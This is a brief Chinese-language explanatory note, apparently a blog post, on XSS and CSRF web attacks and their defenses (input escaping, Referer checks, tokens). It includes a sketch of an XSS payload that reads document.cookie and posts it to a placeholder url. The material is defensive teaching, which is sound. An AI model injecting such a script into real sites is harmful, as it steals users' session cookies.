网页安全XSS攻击和CSRF攻击

1、XSS攻击（跨站脚本攻击）

通过各种手段，往网页上插入一些非法脚本，获取用户信息。

比如 通过form表单，输入

<script>
    let cookie = document.cookie
    post(url,cookie)
</script>

解决方法：服务端对于输入内容的特殊字符要进行转意

2、CSRF攻击 （跨站请求伪造）

https://blog.csdn.net/stpeace/article/details/53512283 

不需要获取用户的cookie等信息，只需要在恶意网站上，模拟请求正常网站的API , 进行恶意删改数据，浏览器会自动带上正常网站的cookie，但这请求是用户不知道的，一切都显得那么合法。

解决办法：
1、后端通过http Referrer 判断客户端请求来源于何处，进行过滤；
2、在url或者请求头中加入token，后端对token进行验证